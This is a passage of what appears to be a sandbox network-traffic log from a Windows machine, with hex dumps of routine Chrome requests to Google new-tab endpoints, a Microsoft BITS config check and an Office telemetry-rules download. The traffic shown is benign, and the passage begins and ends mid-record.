Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 17 Nov 2024 02:42:19 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-17 02:42:19 UTC	25	IN	Data Raw: 31 33 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 7d 7d 0d 0a Data Ascii: 13)]}'{"ddljson":{}}
2024-11-17 02:42:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49708	172.217.18.100	443	7244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:19 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 02:42:19 UTC	1119	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 17 Nov 2024 02:42:19 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-17 02:42:19 UTC	259	IN	Data Raw: 32 33 39 38 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 2398)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-17 02:42:19 UTC	1378	IN	Data Raw: 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 50 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 6b 64 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 Data Ascii: 3cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"but
2024-11-17 02:42:19 UTC	1378	IN	Data Raw: 69 61 2d 68 69 64 64 65 6e 5c 75 30 30 33 64 5c 22 74 72 75 65 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 Data Ascii: ia-hidden\u003d\"true\" role\u003d\"presentation\"\u003e\u003c\/span\u003e\u003c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u
2024-11-17 02:42:19 UTC	1378	IN	Data Raw: 75 30 30 33 64 5c 22 68 74 74 70 73 3a 2f 2f 6c 61 62 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 3f 73 6f 75 72 63 65 5c 75 30 30 33 64 6e 74 70 5c 22 20 74 61 72 67 65 74 5c 75 30 30 33 64 5c 22 5f 74 6f 70 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 Data Ascii: u003d\"https://labs.google.com/search?source\u003dntp\" target\u003d\"_top\" role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u00
2024-11-17 02:42:19 UTC	1378	IN	Data Raw: 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 36 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e Data Ascii: 2,0.9 -2,2 0.9,2 2,2zM6,20c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.
2024-11-17 02:42:19 UTC	1378	IN	Data Raw: 7d 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 5b 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 30 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 35 36 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 Data Ascii: },"left_product_control_placeholder_label":["left_product_control-label0","left_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700256,3700949,3701384],"is_backup
2024-11-17 02:42:19 UTC	1378	IN	Data Raw: 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 2f 2a 5c 6e 5c 6e 20 43 6f 70 79 72 69 67 68 74 20 47 6f 6f 67 6c 65 20 4c 4c 43 5c 6e 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 4c 64 3b 5f 2e 4a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4c 64 5c 75 30 30 33 64 66 75 Data Ascii: umpException(e)}\ntry{\n/\n\n Copyright Google LLC\n SPDX-License-Identifier: Apache-2.0\n/\nvar Ld;_.Jd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Ld\u003dfu
2024-11-17 02:42:19 UTC	593	IN	Data Raw: 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 57 64 5c 75 30 30 33 64 56 64 28 29 29 3b 72 65 74 75 72 6e 20 57 64 7d 3b 5c 6e 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 58 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 59 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 65 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 63 65 5c Data Ascii: id 0\u0026\u0026(Wd\u003dVd());return Wd};\n_.Zd\u003dfunction(a){const b\u003d_.Xd();return new _.Yd(b?b.createScriptURL(a):a)};_.$d\u003dfunction(a){if(a instanceof _.Yd)return a.i;throw Error(\"F\");};_.be\u003dfunction(a){if(ae.test(a))return a};_.ce\
2024-11-17 02:42:19 UTC	517	IN	Data Raw: 31 66 65 0d 0a 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 65 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 50 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 66 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 75 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 67 65 5c 75 30 30 33 64 66 75 Data Ascii: 1feute(\"nonce\")\|\|\"\"};\n_.ee\u003dfunction(a){var b\u003d_.Pa(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.fe\u003dfunction(a,b,c){return _.ub(a,b,c,!1)!\u003d\u003dvoid 0};_.ge\u003dfu
2024-11-17 02:42:20 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 30 7d 3b 55 64 5c 75 30 30 33 64 5f 2e 4d 64 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 61 65 5c 75 30 30 33 64 2f 5e 5c 5c 73 2a 28 3f 21 6a 61 76 61 73 63 72 69 70 74 3a 29 28 3f 3a 5b 5c 5c 77 2b 2e 2d 5d 2b 3a 7c 5b 5e 3a 2f 3f 23 5d 2a 28 3f 3a 5b 2f 3f 23 5d 7c 24 29 29 2f 69 3b 76 61 72 20 6f 65 2c 73 65 2c 6b 65 3b 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 6b 65 28 5f 2e 6c 65 28 61 29 29 3a 69 65 7c 7c 28 69 65 5c 75 30 30 33 64 6e 65 77 20 6b 65 29 7d 3b 5f 2e 6e 65 5c 75 30 30 Data Ascii: 80000};Ud\u003d_.Md;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};ae\u003d/^\\s(?!javascript:)(?:[\\w+.-]+:\|[^:/?#](?:[/?#]\|$))/i;var oe,se,ke;_.me\u003dfunction(a){return a?new ke(_.le(a)):ie\|\|(ie\u003dnew ke)};_.ne\u00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49710	172.217.18.100	443	7244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:19 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 02:42:19 UTC	933	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 17 Nov 2024 02:42:19 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-17 02:42:19 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-17 02:42:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49720	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:24 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-17 02:42:24 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=50585 Date: Sun, 17 Nov 2024 02:42:24 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.5	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:25 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:25 UTC	492	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:25 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 15 Nov 2024 16:53:09 GMT ETag: "0x8DD0595FBE5245A" x-ms-request-id: 46f8cbee-b01e-0053-74a3-37cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024225Z-16547b76f7ftfv4jhC1DFWuhug000000016g00000000mrp8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:25 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-17 02:42:25 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-17 02:42:25 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-17 02:42:25 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-17 02:42:25 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 